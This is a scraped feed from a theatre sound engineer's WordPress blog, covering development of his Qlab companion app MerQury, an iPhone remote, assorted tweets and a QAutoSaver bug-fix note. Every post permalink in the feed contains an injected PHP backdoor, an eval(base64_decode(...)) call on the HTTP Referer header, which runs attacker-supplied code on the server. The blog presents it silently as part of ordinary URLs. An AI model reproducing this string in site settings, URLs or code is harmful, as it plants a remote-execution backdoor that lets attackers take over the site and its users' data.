:Jason A Tratta: http://jasontratta.com Theatre Sound Everything, Cocoa Developer Thu, 28 Jan 2010 19:23:15 +0000 http://wordpress.org/?v=2.8.6 en hourly 1 A Real Update http://jasontratta.com/2010/01/28/a-real-update/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://jasontratta.com/2010/01/28/a-real-update/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 28 Jan 2010 19:06:58 +0000 jason http://jasontratta.com/?p=265 I feel I’m a little over due on an update with where MerQury’s development is.  So here is the whole bag of beans.

Qloud becomes MerQury

I posted several months ago about an application idea called ‘Qloud.’   That project has offically been renamed MerQury.  It turns out Qloud is already a product.

Development thus far:

Today MerQury is in alpha testing at Shakespeare Theatre Comapany in Washington, DC (I happen to be an engineer there).   The application is being used to “sync” two macs running Qlab together over a network connection.  It still works like I described in my December 13th post.

I also have a native iPhone remote working. Its still very basic.  Here’s the sneak peak video I released to youtube.  It’s going to get quite complex.

http://www.youtube.com/watch?v=F89-njYzVVs

A lot of work has been going into debugging code and refineing the UI.  Here is a an image of the latest build.

MQA10

Logo / Icon

I have to give a big shout out to Tom Hayward for creating the MerQury logo.   If you need graphics work…he’s your guy.

http://thomasdhayward.com/

ToDo Before Release:

There are still several bugs to chase down before I can release to the public.

I would also like to implement  MIDI and OSC support for the beta release.  Its getting close, a month or two I hope.

Features to come:

There is a rather long list of functionality I would like to add.   Once the basic desktop version is working, my focus will shift heavily to finishing the iPhone / iPod Touch versions…which I imagine will lay the goundwork for a iPad version.

Development continues as fast as possible. 60+ hours a week at work is really slowing me down. Go figure. More to come!

Oh…and thanks for stopping by!

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]]> http://jasontratta.com/2010/01/19/merqury-update/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 MerQury http://jasontratta.com/2009/12/13/merqury/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://jasontratta.com/2009/12/13/merqury/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Sun, 13 Dec 2009 16:05:41 +0000 jason http://jasontratta.com/?p=258 Q-150x150.jpg

“Messenger of the cue gods.”

MerQury

MerQury is my second application for use with Figure 53’s Qlab 2. MerQury was developed as a simple way to implement a redundant Qlab system over an easy to use network setup.

Admittedly, it’s not the best solution. There is a bit of latency between the pressing of “Go” on one system and the cue going on the second system. MerQury cheats by pushing the load time on the backup computer forward a fraction of a second to compensate until it’s called into show duty.

It is, however, the cheapest, fastest, easiest solution. No matter what hardware configuration you have on either machine, as long as they have the same Qlab 2 file and a network port, you’ll have a parachute.

MerQury is easy to setup. Simply make sure your Macs are on the same network, and MerQury will use Bonjour to automatically find copies of itself running online. After that, a few clicks on each computer and you’re set.

MerQury is currently in the alpha testing phase. The image below is an early build to test the underlying code.

MerQury-Alpha-284x300.pngLook mom, I’m ugly!

In the coming weeks, MerQury will be available for beta download and testing.

BUT WAIT!!!

..there’s more. It turns out the networking code will theoretically let many Qlab systems to talk to each other. Hot on the heels of the 1.0 release, I’ll be working to add a multitude of features.

Stay tuned!

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  • Last day of Phedre and the National Theatre folks. I'll miss you guys…but not your ridiculous 368 sound cue 1 act Greek tragedy. #
  • @Chris_Ashworth @jkriss Its not a bad idea (bus pass) but I wonder about assigned seating…and how sell a monthly if you only have 1 show. in reply to Chris_Ashworth #
  • @ottoman42 Bwaa haa haa haa. Uhh..well. I don't use anything. I keep production machines offline. If my personal PC (ie Gaming Machine).. in reply to ottoman42 #
  • @ottoman42 ..goes down…I just reinstall. in reply to ottoman42 #
  • @ottoman42 How's the programming coming along? in reply to ottoman42 #
  • How am I just now hearing about Zombieland? #
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  • All these sound cues are doing nothing. If I can pfl all the channels and not hear a change on cans…nothing is happening in the house. #
  • Seriously feels like someone got paid per cue. #
  • http://bit.ly/10NBh7 This article fails to see that consoles like the Xbox have become much more than just a gaming platform. The iPhone.. #
  • …is not anywhere close to the same class as consoles. PSP…Gameboy…sure. #
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  • Car won't start, Mac crashed, and I got sick all on Sunday night. Fuck it…now I know why the entire Country music grenre exsists. #
  • The Secret Service made me move my motorcycle for Joe Biden. #
  • Never name something, post it…then do a google search. Crap. http://www.qloud.com/ #
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  • Interview with Joss Whedon about winning Emmy for @DrHorrible: http://su.pr/5PMDcf (via @nprnews) #
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  • @foster_child Wow….that was fast! ;) in reply to foster_child #
  • #Qlab #QAutoSaver QAutosaver 1.2 Patch Released. Fixes a bug that prevented QAS to save correctly when directories contained spaces… #
  • …this patch also fixes a crash that occurs when the App updates itself. This will happen this time…but is fixed for future updates. #
  • Unknown Fact: Take the British out of London and bring them to the US, they turn into party animals. I'm sooo tired today. #
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    This is a minor bug fix.

    -Fixed an issue where QAS did not save correctly to directories with spaces.  Example: “This Folder”
    -Fixed an issue with the self updater crashing on install.  This should be fixed for future updates beyond 1.2. 

    Download QAutoSaver 1.2

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